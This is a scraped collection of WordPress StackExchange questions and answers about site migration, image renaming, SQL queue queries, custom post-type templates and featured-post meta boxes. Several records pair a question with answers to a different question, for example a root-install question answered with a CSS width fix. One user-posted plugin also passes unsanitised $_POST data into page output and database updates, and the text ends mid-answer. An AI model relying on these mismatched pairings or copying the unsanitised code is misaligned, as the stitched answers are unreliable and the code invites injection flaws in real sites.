<p>I am a bit wary of installing WordPress to the root directory of the site, to replace the main site, as I fear it may break the blog and eCommerce stores since they're installed in subdirectories. </p>
<p>What would be the best way to go about doing this and what steps/precautions should I take.</p>
<p>Thanks in advance!</p>
| [
{
"answer_id": 254765,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>in your class : <code>.post .post-excerpt img</code> add <code>width</code> instead of <code>max-width</code> </p>\n\n<pre><code>.post .post-excerpt img {\n width: 100%;\n}\n</code></pre>\n\n<p>This seems culprit :</p>\n\n<p><a href=\"https://i.stack.imgur.com/EX1IO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EX1IO.jpg\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 254770,
"author": "vega",
"author_id": 50311,
"author_profile": "https://wordpress.stackexchange.com/users/50311",
"pm_score": 1,
"selected": true,
"text": "<p>I found the problem. The content width was forced in functions.php:</p>\n\n<pre><code>...\n\nif ( ! isset( $content_width ) ) $content_width = 634;\n\nadd_theme_support( 'automatic-feed-links' );\n\n...\n</code></pre>\n\n<p>I changed the value to 964 and it works like it should. :)</p>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254776",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112286/"
]
| I've created a static site for a business code in plain HTML and CSS. Along the way, I've added in two WordPress installs in subdirectories, one being a blog page and another being an eCommerce site.
Now that the website has begun to grow, the client suggested making the main static site part of WordPress. Now I am most definitely not a WordPress expert and am not sure what could potentially happen so please bear with me.
I am a bit wary of installing WordPress to the root directory of the site, to replace the main site, as I fear it may break the blog and eCommerce stores since they're installed in subdirectories.
What would be the best way to go about doing this and what steps/precautions should I take.
Thanks in advance! | I found the problem. The content width was forced in functions.php:
```
...
if ( ! isset( $content_width ) ) $content_width = 634;
add_theme_support( 'automatic-feed-links' );
...
```
I changed the value to 964 and it works like it should. :) |
254,784 | <p>Need to update 1,000+ images which have French characters in them.</p>
<p>The following worked for a test post:</p>
<blockquote>
<ul>
<li>Created a copy of the image without the FR characters</li>
<li>Updated file name inside the blog post's body using <strong>wp_update_post</strong> (WP function)</li>
<li>Updated 'attachment meta data' using <strong>wp_update_attachment_metadata</strong> (WP function)</li>
<li>Updated 'attached file' using <strong>update_attached_file</strong> (WP function)</li>
</ul>
</blockquote>
<p>It looks like I can just skip the: </p>
<blockquote>
<ul>
<li>Updated 'attachment meta data' using <strong>wp_update_attachment_metadata</strong> (WP function)</li>
<li>Updated 'attached file' using <strong>update_attached_file</strong> (WP function)</li>
</ul>
</blockquote>
<p>and just change the post content so it references the new images using the following code:</p>
<pre><code>// Array used to update the post
$my_post = array(
'ID' => $post_ID,
'post_content' => $content_with_updated_file_name
);
// Update post content using the array above
wp_update_post( $my_post, true );
if (is_wp_error($post_ID)) {
$errors = $post_ID->get_error_messages();
foreach ($errors as $error) {
echo $error;
}
}
</code></pre>
<p>Is that the right way or should I keep updating the 'attachment meta data' and 'attached file' for every image I'm renaming?</p>
| [
{
"answer_id": 254765,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>in your class : <code>.post .post-excerpt img</code> add <code>width</code> instead of <code>max-width</code> </p>\n\n<pre><code>.post .post-excerpt img {\n width: 100%;\n}\n</code></pre>\n\n<p>This seems culprit :</p>\n\n<p><a href=\"https://i.stack.imgur.com/EX1IO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EX1IO.jpg\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 254770,
"author": "vega",
"author_id": 50311,
"author_profile": "https://wordpress.stackexchange.com/users/50311",
"pm_score": 1,
"selected": true,
"text": "<p>I found the problem. The content width was forced in functions.php:</p>\n\n<pre><code>...\n\nif ( ! isset( $content_width ) ) $content_width = 634;\n\nadd_theme_support( 'automatic-feed-links' );\n\n...\n</code></pre>\n\n<p>I changed the value to 964 and it works like it should. :)</p>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254784",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/88398/"
]
| Need to update 1,000+ images which have French characters in them.
The following worked for a test post:
>
> * Created a copy of the image without the FR characters
> * Updated file name inside the blog post's body using **wp\_update\_post** (WP function)
> * Updated 'attachment meta data' using **wp\_update\_attachment\_metadata** (WP function)
> * Updated 'attached file' using **update\_attached\_file** (WP function)
>
>
>
It looks like I can just skip the:
>
> * Updated 'attachment meta data' using **wp\_update\_attachment\_metadata** (WP function)
> * Updated 'attached file' using **update\_attached\_file** (WP function)
>
>
>
and just change the post content so it references the new images using the following code:
```
// Array used to update the post
$my_post = array(
'ID' => $post_ID,
'post_content' => $content_with_updated_file_name
);
// Update post content using the array above
wp_update_post( $my_post, true );
if (is_wp_error($post_ID)) {
$errors = $post_ID->get_error_messages();
foreach ($errors as $error) {
echo $error;
}
}
```
Is that the right way or should I keep updating the 'attachment meta data' and 'attached file' for every image I'm renaming? | I found the problem. The content width was forced in functions.php:
```
...
if ( ! isset( $content_width ) ) $content_width = 634;
add_theme_support( 'automatic-feed-links' );
...
```
I changed the value to 964 and it works like it should. :) |
254,808 | <p>I have a database table in WordPress as in the following example:</p>
<pre>ID | Allocation_number | Treatment | Used
1 | 1 | A | 0
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0</pre>
<p>And the rows continues upto X times. The "Allocation_number" starts from 1 and increases by +1. "Used" column has "0" or "1", 0 indicating NOT USED YET, 1 = USED ALREADY. This column Used maybe is not essential - however, I thought by using this logic we might indicate the first available treatment (not used yet). The treatment options are strings (here A or B chosen at random)</p>
<p>When a user FETCHES the first AVAILABLE Treatment in the QUEUE, the USED column's value is UPDATED and 0 is replaced by 1.
When the first user will get the first treatment A, the table should look:</p>
<pre>ID | Allocation_number | Treatment | Used
1 | 1 | A | 1
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0</pre>
<p>Q: How could I achieve a scenario where the NEXT visitor who triggers a button will get the FOLLOWING AVAILABLE treatment (in this case B) allocated for him / her. The next one will get the next available, that is B. </p>
<p>In other words the SQL Query must find the VALUE of the column <b>Treatment</b> in the row where <b>Used</b> column value has the <b>first occurrence</b> of the value 0 - that is the first yet UNUSED treatment?</p>
<p>Could anybody help me to get the correct SQL query or hook for this? Or does any body have a similar plugin for WordPress to achieve this?</p>
| [
{
"answer_id": 254816,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 1,
"selected": false,
"text": "<p>So what you want is to use MySQL's \"ORDER BY\" feature:</p>\n\n<pre><code>SELECT Treatment FROM my_table WHERE Used=0 ORDER BY Allocation_number ASC LIMIT 1\n</code></pre>\n\n<p>So you look for all rows where Used=0, order (sort) them by Allocation_number in ascending order, and then pick the first row that matches. (\"LIMIT 1\")</p>\n\n<p>I'll let you plug this into <a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">$wpdb</a> as an exercise... ;)</p>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 255132,
"author": "A. Tekay",
"author_id": 112303,
"author_profile": "https://wordpress.stackexchange.com/users/112303",
"pm_score": 0,
"selected": false,
"text": "<p>Thanks. I did my homework and wrote my first plugin to accomplish this. I have added a short code to call this function.\nI could get the data from the database using your suggestion and it works. </p>\n\n<p>This is my final code:</p>\n\n<pre><code> function return_treatment_type(){\n global $wpdb;\n $tableName = $wpdb->prefix . 'random'; // Ensures that your table name matches the prefix in config.wp\n $where = ['random_ID' => $_POST[hidden]];\n $user = new WP_User(get_current_user_id());\n $user->roles[0];\n $current_user = wp_get_current_user();\n $url = \"http://some.domain\";\n $myData = $wpdb->get_results(\"SELECT random_ID, treat_type, user_id, allocationused_date, random_owner, randomnumero_used, random_number, comment, created, updated FROM `$tableName` WHERE randomnumero_used=0 ORDER BY random_number ASC LIMIT 1\");\n\n foreach ( $myData as $myNData )\n {\n echo \"<form action='#' method=post>\";\n echo \"<input type=datetime name=allocationused_date value=\" . $myNData->allocationused_date . \"><br>\";\n echo \"<input type=bigint(60) name=user_id value=\" . $current_user->user_login . \"><br>\";\n echo \"<input type=varchar(191) name=random_owner value=\" . $myNData->random_owner . \"><br>\";\n echo \"<input type=longtext name=treat_type value=\" . $myNData->treat_type . \"><br>\";\n echo \"<input type=tinyint(2) name=randomnumero_used value=\" . $myNData->randomnumero_used . \"><br>\";\n echo \"<input type=int(10) name=random_number value=\" . $myNData->random_number . \"><br>\";\n echo \"<input type=longtext name=comment value=\" . $myNData->comment . \"><br>\";\n echo \"<input type=bigint(20) name=random_ID value=\" . $myNData->random_ID . \">\";\n echo \"<input type=hidden name=hidden value=\" . $myNData->random_ID . \">\";\n echo \"<input type=submit name=update value=update\" . \">\";\n echo \"</form>\";\n }\n\n if (isset($_POST['update'])) {\n foreach (['allocationused_date', 'user_id', 'random_owner', 'random_number', 'treat_type', 'randomnumero_used', 'comment', 'created', 'updated', 'random_ID',] as $field) {\n $data[$field] = $_POST[$field];\n }\n if( $wpdb->update($tableName, $data, $where) === FALSE)\n echo \"Failed\";\n else\n wp_redirect( $url );\n exit;\n } \n } \nadd_shortcode('random', 'return_treatment_type');\n</code></pre>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254808",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112303/"
]
| I have a database table in WordPress as in the following example:
```
ID | Allocation_number | Treatment | Used
1 | 1 | A | 0
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0
```
And the rows continues upto X times. The "Allocation\_number" starts from 1 and increases by +1. "Used" column has "0" or "1", 0 indicating NOT USED YET, 1 = USED ALREADY. This column Used maybe is not essential - however, I thought by using this logic we might indicate the first available treatment (not used yet). The treatment options are strings (here A or B chosen at random)
When a user FETCHES the first AVAILABLE Treatment in the QUEUE, the USED column's value is UPDATED and 0 is replaced by 1.
When the first user will get the first treatment A, the table should look:
```
ID | Allocation_number | Treatment | Used
1 | 1 | A | 1
2 | 2 | B | 0
3 | 3 | B | 0
4 | 4 | A | 0
```
Q: How could I achieve a scenario where the NEXT visitor who triggers a button will get the FOLLOWING AVAILABLE treatment (in this case B) allocated for him / her. The next one will get the next available, that is B.
In other words the SQL Query must find the VALUE of the column **Treatment** in the row where **Used** column value has the **first occurrence** of the value 0 - that is the first yet UNUSED treatment?
Could anybody help me to get the correct SQL query or hook for this? Or does any body have a similar plugin for WordPress to achieve this? | So what you want is to use MySQL's "ORDER BY" feature:
```
SELECT Treatment FROM my_table WHERE Used=0 ORDER BY Allocation_number ASC LIMIT 1
```
So you look for all rows where Used=0, order (sort) them by Allocation\_number in ascending order, and then pick the first row that matches. ("LIMIT 1")
I'll let you plug this into [$wpdb](https://codex.wordpress.org/Class_Reference/wpdb) as an exercise... ;)
Hope this helps! |
254,845 | <p>I have a custom post type called funerals and a page the lists all the posts part of that custom post type. To display a single page I create a file called single-funerals.php and that all works well. But, now I need to have another single post page that only displays a video for a funeral. How would I set that up and link to it from the main page that lists all the posts? </p>
| [
{
"answer_id": 254846,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>You could turn the single-funerals.php code into a 'page template', then use that template when you create the page. </p>\n\n<p>Read about page templates here: <a href=\"https://developer.wordpress.org/themes/template-files-section/page-templates/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/template-files-section/page-templates/</a></p>\n"
},
{
"answer_id": 255021,
"author": "LWS-Mo",
"author_id": 88895,
"author_profile": "https://wordpress.stackexchange.com/users/88895",
"pm_score": 3,
"selected": false,
"text": "<p>As I answered <a href=\"https://wordpress.stackexchange.com/questions/254772/how-to-add-page-attribute-template-to-custom-post/254781#254781\">here</a>, since WordPress 4.7 Post-Type-Templates are enabled in the WordPress core.</p>\n\n<p>That means that you can create multiple templates for the single post-type view. You create these templates like you would create a normal page template. But you need to add a little more code to these templates:</p>\n\n<pre><code>/*\nTemplate Name: Funerals Video Template \nTemplate Post Type: post, funerals \n*/\n</code></pre>\n\n<p>So you will need to copy your <code>single-funerals.php</code> file, rename it, add some code like the above to the top of the file.</p>\n\n<p>After this, you should see a template select box on the post and funerals edit-screen. (because I specified these 2 post-types with <code>Template Post Type: post, funerals</code>)</p>\n\n<p>Read more about post-type-templates <a href=\"https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/\" rel=\"noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 290774,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 0,
"selected": false,
"text": "<p>you can create Post Type Templates It's default WordPress directories file. \nFor More information:</p>\n\n<p><a href=\"https://codex.wordpress.org/Post_Type_Templates\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Post_Type_Templates</a></p>\n\n<p><a href=\"https://developer.wordpress.org/themes/template-files-section/custom-post-type-template-files/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/template-files-section/custom-post-type-template-files/</a> </p>\n\n<p>single-{post_type}.php create this file where your single.php file</p>\n\n<pre><code>single-{post_type}.php\n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254845",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/5416/"
]
| I have a custom post type called funerals and a page the lists all the posts part of that custom post type. To display a single page I create a file called single-funerals.php and that all works well. But, now I need to have another single post page that only displays a video for a funeral. How would I set that up and link to it from the main page that lists all the posts? | As I answered [here](https://wordpress.stackexchange.com/questions/254772/how-to-add-page-attribute-template-to-custom-post/254781#254781), since WordPress 4.7 Post-Type-Templates are enabled in the WordPress core.
That means that you can create multiple templates for the single post-type view. You create these templates like you would create a normal page template. But you need to add a little more code to these templates:
```
/*
Template Name: Funerals Video Template
Template Post Type: post, funerals
*/
```
So you will need to copy your `single-funerals.php` file, rename it, add some code like the above to the top of the file.
After this, you should see a template select box on the post and funerals edit-screen. (because I specified these 2 post-types with `Template Post Type: post, funerals`)
Read more about post-type-templates [here](https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/). |
254,850 | <p>I'm trying to display the child pages of a parent page, this is working. But when I tried to exclude the current page in the list where the child pages displayed, it's not working.</p>
<p>How to fix this?</p>
<pre><code>$current_post_id = $post->ID;
if(wp_list_pages("title_li=&child_of=2143&exclude='.$current_post_id.'")):
if($title)
echo $before_title . $title . $after_title;
wp_list_pages("title_li=&child_of=2143&exclude='.$current_post_id.'");
endif;
</code></pre>
| [
{
"answer_id": 254846,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>You could turn the single-funerals.php code into a 'page template', then use that template when you create the page. </p>\n\n<p>Read about page templates here: <a href=\"https://developer.wordpress.org/themes/template-files-section/page-templates/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/template-files-section/page-templates/</a></p>\n"
},
{
"answer_id": 255021,
"author": "LWS-Mo",
"author_id": 88895,
"author_profile": "https://wordpress.stackexchange.com/users/88895",
"pm_score": 3,
"selected": false,
"text": "<p>As I answered <a href=\"https://wordpress.stackexchange.com/questions/254772/how-to-add-page-attribute-template-to-custom-post/254781#254781\">here</a>, since WordPress 4.7 Post-Type-Templates are enabled in the WordPress core.</p>\n\n<p>That means that you can create multiple templates for the single post-type view. You create these templates like you would create a normal page template. But you need to add a little more code to these templates:</p>\n\n<pre><code>/*\nTemplate Name: Funerals Video Template \nTemplate Post Type: post, funerals \n*/\n</code></pre>\n\n<p>So you will need to copy your <code>single-funerals.php</code> file, rename it, add some code like the above to the top of the file.</p>\n\n<p>After this, you should see a template select box on the post and funerals edit-screen. (because I specified these 2 post-types with <code>Template Post Type: post, funerals</code>)</p>\n\n<p>Read more about post-type-templates <a href=\"https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/\" rel=\"noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 290774,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 0,
"selected": false,
"text": "<p>you can create Post Type Templates It's default WordPress directories file. \nFor More information:</p>\n\n<p><a href=\"https://codex.wordpress.org/Post_Type_Templates\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Post_Type_Templates</a></p>\n\n<p><a href=\"https://developer.wordpress.org/themes/template-files-section/custom-post-type-template-files/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/template-files-section/custom-post-type-template-files/</a> </p>\n\n<p>single-{post_type}.php create this file where your single.php file</p>\n\n<pre><code>single-{post_type}.php\n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254850",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103182/"
]
| I'm trying to display the child pages of a parent page, this is working. But when I tried to exclude the current page in the list where the child pages displayed, it's not working.
How to fix this?
```
$current_post_id = $post->ID;
if(wp_list_pages("title_li=&child_of=2143&exclude='.$current_post_id.'")):
if($title)
echo $before_title . $title . $after_title;
wp_list_pages("title_li=&child_of=2143&exclude='.$current_post_id.'");
endif;
``` | As I answered [here](https://wordpress.stackexchange.com/questions/254772/how-to-add-page-attribute-template-to-custom-post/254781#254781), since WordPress 4.7 Post-Type-Templates are enabled in the WordPress core.
That means that you can create multiple templates for the single post-type view. You create these templates like you would create a normal page template. But you need to add a little more code to these templates:
```
/*
Template Name: Funerals Video Template
Template Post Type: post, funerals
*/
```
So you will need to copy your `single-funerals.php` file, rename it, add some code like the above to the top of the file.
After this, you should see a template select box on the post and funerals edit-screen. (because I specified these 2 post-types with `Template Post Type: post, funerals`)
Read more about post-type-templates [here](https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/). |
254,872 | <p>I've setup all permissions and directories/files correctly according to Wordpress. Adding plugins/installing/updating works perfectly, but when it comes to updating to 4.7.2, it asks me for FTP details or if I force FileSystem (direct) in the WP config file, it says it couldn't update due to inconsistent file permissions or not being able to create the directory.</p>
<p>Literally all file permissions and user permissions are setup as per the recommondation from wordpress, however I can't update the core.</p>
<p>The log file does say permission denied on line 257 of the filesystem include when it tries to copy a file, but like I said, correct permissions have been given unless, for that specific instance, the core update is run under a different user than apache?</p>
<p>Manual install is not being considered as the process needs to be seamless for operations to be able to support without requiring additional knowledge of FTP/SSH.</p>
<p>Can anyone recommend a solution that actually works?</p>
<p>1) I have chown to my apache user (this is required for the plugins to be updated)
2) all permissions are 755/644 (this is required for the plugins to be updated as well)
3) OS was updated including openssl (Redhat Enterprise)</p>
| [
{
"answer_id": 254846,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>You could turn the single-funerals.php code into a 'page template', then use that template when you create the page. </p>\n\n<p>Read about page templates here: <a href=\"https://developer.wordpress.org/themes/template-files-section/page-templates/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/template-files-section/page-templates/</a></p>\n"
},
{
"answer_id": 255021,
"author": "LWS-Mo",
"author_id": 88895,
"author_profile": "https://wordpress.stackexchange.com/users/88895",
"pm_score": 3,
"selected": false,
"text": "<p>As I answered <a href=\"https://wordpress.stackexchange.com/questions/254772/how-to-add-page-attribute-template-to-custom-post/254781#254781\">here</a>, since WordPress 4.7 Post-Type-Templates are enabled in the WordPress core.</p>\n\n<p>That means that you can create multiple templates for the single post-type view. You create these templates like you would create a normal page template. But you need to add a little more code to these templates:</p>\n\n<pre><code>/*\nTemplate Name: Funerals Video Template \nTemplate Post Type: post, funerals \n*/\n</code></pre>\n\n<p>So you will need to copy your <code>single-funerals.php</code> file, rename it, add some code like the above to the top of the file.</p>\n\n<p>After this, you should see a template select box on the post and funerals edit-screen. (because I specified these 2 post-types with <code>Template Post Type: post, funerals</code>)</p>\n\n<p>Read more about post-type-templates <a href=\"https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/\" rel=\"noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 290774,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 0,
"selected": false,
"text": "<p>you can create Post Type Templates It's default WordPress directories file. \nFor More information:</p>\n\n<p><a href=\"https://codex.wordpress.org/Post_Type_Templates\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Post_Type_Templates</a></p>\n\n<p><a href=\"https://developer.wordpress.org/themes/template-files-section/custom-post-type-template-files/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/template-files-section/custom-post-type-template-files/</a> </p>\n\n<p>single-{post_type}.php create this file where your single.php file</p>\n\n<pre><code>single-{post_type}.php\n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254872",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107924/"
]
| I've setup all permissions and directories/files correctly according to Wordpress. Adding plugins/installing/updating works perfectly, but when it comes to updating to 4.7.2, it asks me for FTP details or if I force FileSystem (direct) in the WP config file, it says it couldn't update due to inconsistent file permissions or not being able to create the directory.
Literally all file permissions and user permissions are setup as per the recommondation from wordpress, however I can't update the core.
The log file does say permission denied on line 257 of the filesystem include when it tries to copy a file, but like I said, correct permissions have been given unless, for that specific instance, the core update is run under a different user than apache?
Manual install is not being considered as the process needs to be seamless for operations to be able to support without requiring additional knowledge of FTP/SSH.
Can anyone recommend a solution that actually works?
1) I have chown to my apache user (this is required for the plugins to be updated)
2) all permissions are 755/644 (this is required for the plugins to be updated as well)
3) OS was updated including openssl (Redhat Enterprise) | As I answered [here](https://wordpress.stackexchange.com/questions/254772/how-to-add-page-attribute-template-to-custom-post/254781#254781), since WordPress 4.7 Post-Type-Templates are enabled in the WordPress core.
That means that you can create multiple templates for the single post-type view. You create these templates like you would create a normal page template. But you need to add a little more code to these templates:
```
/*
Template Name: Funerals Video Template
Template Post Type: post, funerals
*/
```
So you will need to copy your `single-funerals.php` file, rename it, add some code like the above to the top of the file.
After this, you should see a template select box on the post and funerals edit-screen. (because I specified these 2 post-types with `Template Post Type: post, funerals`)
Read more about post-type-templates [here](https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/). |
254,876 | <p>I would like users of my theme to be able to mark some posts as more important so that my theme can draw more attention to them.
I'm not sure about the best way to go about this?
Is it possible to add a default category of 'featured' to a theme that will be there as an option when anybody installs my theme? </p>
<p>edit: Taking the approach of adding a custom meta-box in the admin screen: Should something like this work? </p>
<pre><code>function featured_post() { ?>
<label><input type="checkbox" id="featured_post" value="featured_post">Make this a featured post</label>;
<?php }
add_action('add_meta_boxes', 'cd_meta_box_add');
function cd_meta_box_add() {
add_meta_box(1, 'Featured Post', 'featured_post');
}
function save_custom_meta_box($post_id, $post, $update)
{
if (!isset($_POST["meta-box-nonce"]) || !wp_verify_nonce($_POST["meta-box-nonce"], basename(__FILE__)))
return $post_id;
if(!current_user_can("edit_post", $post_id))
return $post_id;
if(defined("DOING_AUTOSAVE") && DOING_AUTOSAVE)
return $post_id;
$slug = "post";
if($slug != $post->post_type)
return $post_id;
$featured_post_value = "";
if(isset($_POST["featured_post"]))
{
$featured_post_value = $_POST["featured_post"];
}
update_post_meta($post_id, "featured_post", $featured_post_value);
}
add_action("save_post", "save_custom_meta_box", 10, 3);
function annframe_featured_class( $classes ) {
global $post;
if ( get_post_meta( $post->ID, 'featured_post' ) || '' != get_post_meta( $post->ID, 'featured_post' ) ) {
$classes[] = 'featured-post';
}
return $classes;
}
add_filter( 'post_class', 'annframe_featured_class' );
</code></pre>
| [
{
"answer_id": 254882,
"author": "Twentyonehundred",
"author_id": 112349,
"author_profile": "https://wordpress.stackexchange.com/users/112349",
"pm_score": 1,
"selected": false,
"text": "<p>You can do this in a number of ways, using categories, tags, plugins or ACF fields.</p>\n\n<p>To use your suggested method, you can use the <a href=\"https://codex.wordpress.org/Function_Reference/wp_insert_category\" rel=\"nofollow noreferrer\">wp_insert_category</a> function in combination with a hook like <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/admin_init\" rel=\"nofollow noreferrer\">admin_init</a>.</p>\n\n<pre><code>function add_featured_category() {\n $mcat = array(\n 'cat_name' => 'Featured', \n 'category_description' => 'A Featured Category', \n 'category_nicename' => 'category-featured', \n 'category_parent' => ''\n );\n $my_cat_id = wp_insert_category($mcat);\n}\n\nadd_action('admin_init', 'add_featured_category');\n</code></pre>\n"
},
{
"answer_id": 254884,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 3,
"selected": true,
"text": "<p>WordPress by default provides such feature named \"Sticky Posts\". you can mark any post as sticky from \"Quick Edit\" link. and WordPress will add a post class named <code>sticky</code> with all sticky posts. so you can use this class in your CSS for giving custom styles. </p>\n\n<p>and another solutions is to create custom post meta and meta boxes in wp-admin. and provide your users a way to mark any post as \"Featured\". and then based on that meta field value you can easily alter the post class.</p>\n\n<p>find more info about <a href=\"https://developer.wordpress.org/reference/functions/add_meta_box/\" rel=\"nofollow noreferrer\">Meta Box</a> and <a href=\"https://codex.wordpress.org/Custom_Fields\" rel=\"nofollow noreferrer\">Custom fields</a> from WordPress Codex. \nand then if you have added a <code>custom field</code> in a post named \"<code>featured_post</code>\" you can alter the post class using below function. it will add a class named '<code>featured-post</code>' with all posts marked as featured.</p>\n\n<pre><code>add_action( 'load-post.php', 'annframe_meta_boxes_setup' );\nadd_action( 'load-post-new.php', 'annframe_meta_boxes_setup' );\nadd_action( 'save_post', 'annframe_save_post_meta', 10, 2 );\n\nfunction annframe_meta_boxes_setup() {\n add_action( 'add_meta_boxes', 'annframe_add_meta_box' );\n}\n\nfunction annframe_add_meta_box() {\n add_meta_box(\n 'featured_post', // Unique ID\n __( 'Featured Post' ), // Title\n 'annframe_display_meta_box', // Callback function\n 'post', // Admin page (or post type)\n 'side', // Context\n 'high'\n );\n}\n\nfunction annframe_display_meta_box( $post ) {\n wp_nonce_field( basename( __FILE__ ), 'ann_meta_boxes_nonce' );\n ?>\n <label for=\"meta-box-checkbox\"><?php _e( 'Mark as featured'); ?></label>\n <input type=\"checkbox\" id=\"meta-box-checkbox\" name=\"meta-box-checkbox\" value=\"yes\" <?php if ( get_post_meta( $post->ID, 'featured_post', true ) == 'yes' ) echo ' checked=\"checked\"'; ?>>\n <?php\n}\n\n// Save meta value.\nfunction annframe_save_post_meta( $post_id, $post ) {\n\n /* Verify the nonce before proceeding. */\n if ( !isset( $_POST['ann_meta_boxes_nonce'] ) || !wp_verify_nonce( $_POST['ann_meta_boxes_nonce'], basename( __FILE__ ) ) )\n return $post_id;\n\n /* Get the post type object. */\n $post_type = get_post_type_object( $post->post_type );\n\n /* Check if the current user has permission to edit the post. */\n if ( !current_user_can( $post_type->cap->edit_post, $post_id ) )\n return $post_id;\n\n $meta_box_checkbox_value = '';\n if( isset( $_POST[\"meta-box-checkbox\"] ) ) {\n $meta_box_checkbox_value = $_POST[\"meta-box-checkbox\"];\n }\n\n update_post_meta( $post_id, \"featured_post\", $meta_box_checkbox_value );\n}\n\n// add class.\nfunction annframe_featured_class( $classes ) {\nglobal $post;\nif ( get_post_meta( $post->ID, 'featured_post' ) && get_post_meta( $post->ID, 'featured_post', true ) == 'yes' ) {\n$classes[] = 'featured-post';\n}\nreturn $classes;\n}\nadd_filter( 'post_class', 'annframe_featured_class' ); \n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254876",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/81978/"
]
| I would like users of my theme to be able to mark some posts as more important so that my theme can draw more attention to them.
I'm not sure about the best way to go about this?
Is it possible to add a default category of 'featured' to a theme that will be there as an option when anybody installs my theme?
edit: Taking the approach of adding a custom meta-box in the admin screen: Should something like this work?
```
function featured_post() { ?>
<label><input type="checkbox" id="featured_post" value="featured_post">Make this a featured post</label>;
<?php }
add_action('add_meta_boxes', 'cd_meta_box_add');
function cd_meta_box_add() {
add_meta_box(1, 'Featured Post', 'featured_post');
}
function save_custom_meta_box($post_id, $post, $update)
{
if (!isset($_POST["meta-box-nonce"]) || !wp_verify_nonce($_POST["meta-box-nonce"], basename(__FILE__)))
return $post_id;
if(!current_user_can("edit_post", $post_id))
return $post_id;
if(defined("DOING_AUTOSAVE") && DOING_AUTOSAVE)
return $post_id;
$slug = "post";
if($slug != $post->post_type)
return $post_id;
$featured_post_value = "";
if(isset($_POST["featured_post"]))
{
$featured_post_value = $_POST["featured_post"];
}
update_post_meta($post_id, "featured_post", $featured_post_value);
}
add_action("save_post", "save_custom_meta_box", 10, 3);
function annframe_featured_class( $classes ) {
global $post;
if ( get_post_meta( $post->ID, 'featured_post' ) || '' != get_post_meta( $post->ID, 'featured_post' ) ) {
$classes[] = 'featured-post';
}
return $classes;
}
add_filter( 'post_class', 'annframe_featured_class' );
``` | WordPress by default provides such feature named "Sticky Posts". you can mark any post as sticky from "Quick Edit" link. and WordPress will add a post class named `sticky` with all sticky posts. so you can use this class in your CSS for giving custom styles.
and another solutions is to create custom post meta and meta boxes in wp-admin. and provide your users a way to mark any post as "Featured". and then based on that meta field value you can easily alter the post class.
find more info about [Meta Box](https://developer.wordpress.org/reference/functions/add_meta_box/) and [Custom fields](https://codex.wordpress.org/Custom_Fields) from WordPress Codex.
and then if you have added a `custom field` in a post named "`featured_post`" you can alter the post class using below function. it will add a class named '`featured-post`' with all posts marked as featured.
```
